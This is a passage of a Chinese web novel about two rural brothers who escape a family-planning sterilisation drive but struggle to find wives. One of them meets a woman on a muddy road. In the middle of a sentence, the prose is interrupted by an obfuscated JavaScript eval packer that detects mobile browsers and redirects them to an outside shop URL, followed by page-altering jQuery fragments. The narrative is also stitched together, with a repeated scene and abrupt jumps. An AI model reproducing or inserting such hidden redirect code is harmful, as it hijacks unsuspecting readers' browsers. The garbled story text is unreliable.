年轻些的媳妇们，有的默默低头抹泪，有的拉着丈夫的手，紧紧攥着，像是抓住最后的依靠。


    男人们大多沉默不语，眉头拧成死结，一支接一支地抽着烟，吐出的烟雾在头顶缭绕，和他们脸上的愁绪交织在一起。


    村里的小路、院子里，到处是交头接耳的身影，每个人脸上都带着惶恐与迷茫。


    孩子在一旁玩耍，却也感受到大人们的异样，少了往日的嬉笑，时不时抬起头，用懵懂的眼神看着焦虑不安的父母。


    整个村子仿佛被一层阴霾笼罩，未来的不确定性，让每个人都忐忑不安。


    在村里的大晒场上，村民们正围聚在一起，议论纷纷，话题都是围绕着计划生育。


    刘冰贵站在人群边上，眉头紧锁，心里满是疑惑和不安。


    他看着周围的男人们，听着他们小声嘀咕着对结扎的抗拒，自己也越发觉得这事不对劲。


    刘冰贵摸了摸后脑勺，咬咬牙，决定去找计生专干问个明白。


    他一路小跑，来到了计生专干的办公室。


    推开门，里面光线有些昏暗，计生专干正坐在办公桌前整理文件。


    “那个……同志，我有点事儿想问问您。”刘冰贵声音有些发颤，双手不自觉地在身前搓来搓去。


    计生专干抬起头，瞥了他一眼，“什么事？快说。”


    刘冰贵深吸一口气，鼓起勇气说道：“我听说村里要男的结扎，可我还没对象呢，这就结扎，不是没道理吗？以后我咋成家啊？”


    他眼睛睁得大大的，满是恳切地望着计生专干。


    计生专干一听，脸上露出不耐烦的神情，“你这不是无知嘛！谁让你来问的？”


    刘冰贵被这突如其来的质问弄得一懵，结结巴巴地说：“我……我自己想来弄明白，这事儿关系到我以后啊。”


    计生专干把手里的文件重重一放，提高了音量：“亏你哥刘冰珍还是校长，他也不提前给你打听好了，就由着你来问这些莫名其妙的问题！”


    刘冰贵的脸“唰”地一下红了，像被火烤了一样，头不自觉地低了下去，两只脚在地上来回蹭着，恨不得找条地缝钻进去。


    他嘴唇动了动，却什么也说不出来，只能灰溜溜地转身，轻轻带上了门，失落地离开了。


    午后的阳光透过斑驳的树叶，洒在院子里，形成一片片光影。


    刘冰贵心情忐忑，犹豫再三，还是决定去找哥哥刘冰珍问个明白。


    他在院子里来回踱步，时不时望向屋内，深吸一口气，才鼓起勇气迈进屋内。


    “哥，我有个事儿想问问你。”刘冰贵站在门口，微微低着头，双手局促地揪着衣角，声音里带着一丝小心翼翼。


    刘冰珍正坐在桌前看书，闻声抬起头，摘下眼镜，一脸疑惑地看着他：“啥事啊？这么吞吞吐吐的。”


    刘冰贵咽了咽口水，硬着头皮说：“就是村里说的那个结扎的事儿，未婚男的要不要结扎啊？”说完，他紧张地盯着刘冰珍，眼睛里满是期待和不安。


    刘冰珍一听，眉头瞬间皱成了一个“川”字，脸上露出不可思议的神情：“你说啥呢？按照政策，结了婚的男的才是结扎对象，你起啥哄？亏你还是个老高中生，这点常识都不懂。”


    他一边说着，一边放下手中的书，站起身来，眼神里透着些许责备。


    刘冰贵的脸“唰”地一下红到了耳根，像被火烧了一样。


    他张了张嘴，想要辩解几句，可喉咙像是被什么东西哽住了，一个字也说不出来。


    他尴尬地挠了挠头，目光在屋内四处游移，不敢再看刘冰珍的眼睛。


    刘冰珍还在继续数落：“还腆着脸去问，你看看你，这事儿还用问吗？还不如我教的那些小学生，人家都比你明白。”


    刘冰贵只觉得脸上火辣辣的，恨不得找条地缝钻进去。


    他尴尬地笑了笑，笑得比哭还难看，嘴里嘟囔着：“我这不是没弄清楚嘛……”


    走出屋子，刘冰贵长舒一口气，心中暗暗感慨：这**还真不是一般人能玩得转的，以后可不能再这么冒失了。


    得知未婚男不用结扎的那一刻，刘冰贵只觉浑身的枷锁都被卸下，原本一直紧绷的肩膀陡然松弛，脸上的笑意像春日暖阳，满是劫后余生的庆幸。


    他兴奋地在院子里转了好几个圈，脚步轻快得如同能飞起来。


    “小弟，咱不用结扎！”刘冰贵扯着嗓子喊，声音里都是藏不住的雀跃。


    刘冰勇从屋里跑出来，眼里闪着光：“真的？太好了哥！”


    两人对视一眼，而后畅快大笑。


    夏夜的蝉鸣突然歇了声，刘冰贵蹲在院角，就着手机屏幕微光反复摩挲那张婚介所传单。


    纸张边缘被汗浸得发软，“优质女青年“几个字在月光下泛着诱人的红，像极了母亲生前总念叨的“囍“字剪纸。


    他数着传单上的联系方式，后槽牙咬得发酸，裤兜里攥着的，是给弟弟刘冰勇准备的相亲路费。


    隔壁传来刘冰勇整理工装的窸窣声。


    二十岁的小伙子对着生锈的穿衣镜反复系领带，那是从镇上旧货摊淘来的，布料磨得发毛，却被他熨得笔挺。


    镜中倒影与墙上泛黄的全家福重叠，母亲临终前枯瘦的手还在眼前晃动：“你们兄弟俩，说什么也要成个家......“


    村头老枣树下的闲话像针尖扎人。


    刘冰贵扛着饲料袋走过时，总能听见婶子们压低的议论：“老刘家那俩，怕是要打一辈子光棍“。


    他把草帽檐压得更低，指节捏得饲料袋沙沙作响，想起计生办主任拍着他肩膀说“政策放宽了“时，窗外的阳光正照在墙上的“光荣之家“牌匾上，晃得人睁不开眼。


    深夜的猪舍飘来酒糟的醇香，刘冰勇趴在饲料堆上写日记。


    钢笔尖划破纸页，墨渍晕开成模糊的圆：“等这批猪出栏，就去县城相个亲。“


    月光从通风口漏进来，照亮他藏在枕头下的红绳手链——那是去年庙会时，他偷偷给未来媳妇求的，绳结编得歪歪扭扭，却藏着二十年来最炽热的期待。


    鸡叫头遍时，兄弟俩隔着薄薄的木板墙辗转难眠。


    刘冰贵数着屋顶的瓦片，刘冰勇盯着墙缝里的蚂蚁搬家，两人心里都揣着个滚烫的秘密：那些关于红盖头、红烛和满堂喜的梦，正像春天的种子，在计生政策松动的土壤里，悄然生根发芽。


    腊月的北风卷着雪粒子砸在脸上，刘冰贵推着满载酒糟的三轮车往家走。村口老枣树下，几个叼着烟的汉子斜倚在石碾上，目光像淬了冰的钢针，顺着他冻得发紫的耳尖往下戳。


    “哟，冰贵又拉料去了？”王瘸子的笑声裹着酒气飘过来，“再这么卖命，小心把媳妇熬成老姑娘！”


    石碾旁爆发出哄笑，刘冰贵握车把的手猛地收紧，指节在棉手套里绷成青白，三轮车压过结冰的车辙，发出刺耳的吱呀声。


    屋檐下的冰凌垂得老长，母亲生前挂的红灯笼在风中摇晃，褪色的穗子扫过门框上剥落的春联。


    刘冰贵掀开结满冰碴的棉门帘，扑面而来的暖意混着霉味。堂屋墙上贴着泛黄的《朱子家训》，父亲用毛笔圈出的“男当婚，女当嫁”几个字，被油烟熏得发黑。


    深夜的猪舍里，保温灯在雪夜里晕开昏黄的光。


    刘冰贵蹲在食槽前搅拌饲料，木勺磕在搪瓷盆上的声响格外清晰。


    手机突然震动，是同村张婶发来消息，说邻村姑娘嫌他家兄弟俩都没成家，连照片都不肯看。


    他盯着屏幕上跳动的光标，喉结滚动着咽下苦涩，饲料里的玉米粒溅在袖口，凝成坚硬的冰粒。


    后半夜雪下得紧了，刘冰贵裹着军大衣坐在院门口。


    远处几户人家透出零星的灯火，不时传来婴儿的啼哭。


    他摸出烟盒，发现最后一支烟早被雪水浸得发胀。


    隔壁传来刘冰勇压抑的咳嗽声，二十岁的小伙子总爱把相亲失败的消息藏在工装口袋最深处，就像他藏起那些被拒绝的红绳手链。


    黎明前的黑暗最是浓稠，刘冰贵望着屋檐下摇晃的冰棱，突然想起小时候父亲说的话：“人活一口气。”


    他起身拍掉裤腿的雪，转身走向猪圈。


    饲料机的轰鸣声刺破雪幕，惊飞了屋檐下的麻雀，也惊碎了那些扎在心头的碎言冷语。


    刘冰贵笑弯了腰，一手扶着门框，一手抹着眼角笑出的泪花。


    此刻，看着村里那些已婚男人愁眉苦脸地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977076|179808||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    讨论结扎，他心里那点隔岸观火的轻松愈发明显，微微扬起下巴，嘴角挂着一抹若有若无的浅笑，和小弟站在一旁，仿佛是两个置身事外的旁观者。


    可没过多久，一阵微风吹过，带来一丝凉意，刘冰贵的笑容渐渐淡去，眼神里多了几分迷茫。


    他望着远方，轻轻叹了口气，双手不自觉地**口袋，手指不安地在口袋里搅动着。


    “小弟，虽说躲过这一劫，可咱的对象在哪呢？”刘冰贵声音里满是惆怅，眉头又慢慢皱了起来。


    刘冰勇挠挠头，也跟着沉默了。


    刘冰贵的目光在院子里来回游移，最后落在角落里那盆快要枯萎的花上，像是在花里看到了自己的未来，满心忧虑却又无从下手。


    雨后的空气弥漫着潮湿的泥土气息，刘冰贵拉着自家装满公粮的板车，小心翼翼地在泥泞的道路上前行。


    车轮每转动一下，都发出“嘎吱嘎吱”的声响，仿佛在艰难地诉说着行路的不易。


    他的裤脚早已溅满了泥点，额头上也冒出细密的汗珠，与雨水混在一起，顺着脸颊滑落。


    走着走着，刘冰贵看到前方不远处有一辆板车陷在了泥坑中。


    车上堆满了粮食，几乎摇摇欲坠。一个身影正吃力地在后面推着，可板车却纹丝不动。


    刘冰贵见状，赶忙加快了脚步，将自己的板车停在一旁，大步上前帮忙。


    “我来帮你！”刘冰贵一边说着，一边挽起袖子，双手紧紧抓住板车的尾部，憋足了劲儿往上抬，同时双脚使劲蹬地，试图借助腿部的力量把车从泥坑中拉出来。


    他的脸涨得通红，脖子上的青筋也暴了起来。


    在两人的共同努力下，板车终于缓缓从泥坑中挣脱出来。


    “可算弄出来了！”刘冰贵直起身子，长舒了一口气，用手抹了一把脸上的汗水和泥水。


    这时，他才看清推车的人竟然是个女子。


    只见她头发有些凌乱，几缕发丝被汗水浸湿贴在脸颊上，脸颊因为刚才的用力而泛着红晕，眼神中却透着一股坚韧。


    “真是太谢谢你了，要不是你帮忙，我还不知道要折腾多久呢。”女子感激地说道，声音清脆悦耳。


    刘冰贵有些不好意思地挠了挠头，憨厚地笑了笑：“客气啥，出门在外，谁还没个需要帮忙的时候。不过，咋就你一个人拉这么多粮食啊？”刘冰贵一边好奇地询问，一边打量着女子。


    女子微微叹了口气，说道：“家里男人忙着干别的活儿，这公粮又不能耽误，只能我自己来了。”


    说着，她弯腰整理了一下车上有些散乱的粮食。


    刘冰贵看着女子单薄的身影，心中不禁涌起一丝敬佩：“你可真不容易，一个人能拉这么多，换做一般女的可干不了。”他的眼神里满是赞许。


    女子笑了笑，眼中闪烁着光芒：“没办法，日子不就是这样嘛，咬咬牙就过去了。”


    两人就这样你一言我一语地攀谈起来，原本陌生的两人，因为这场小小的“推车事件”拉近了距离。


    还有一次，又是下雨，雨歇后的土路，像被搅拌过的泥浆池，每一步都粘腻难行。


    刘冰贵弓着背，双手死死攥住车把，指节因用力泛白，裤腿上溅满了泥点子，深一脚浅一脚地拉着交公粮的板车。


    不远处，一辆同样满载粮食的板车深陷泥坑，一个女人正咬着下唇，双手拼命推着车尾，可车轮只是空转，溅起一片泥花。


    刘冰贵见状，赶忙把自己的车停在路边，大步跑过去。


    “我来帮你！”他粗着嗓子喊，双手迅速搭上车尾，扎稳马步，和女人一同发力。他额头青筋暴起，脖子涨得通红，伴随着一声闷哼，板车终于缓缓从泥坑中挣脱。


    “可算出来了！”刘冰贵直起身，大口喘着粗气，用满是泥污的手背抹了把脸上的汗水和雨水。


    这时，他才看清女人的模样：几缕湿漉漉的头发贴在泛红的脸颊上，眼神中透着坚韧与感激。


    “太谢谢你了，不然我真不知道咋办才好。”女人声音带着几分疲惫和感激。


    刘冰贵憨笑着挠挠头，“别客气，这路太难走了。我们见过的，上次也是你，你咋还是一个人拉这么多啊？”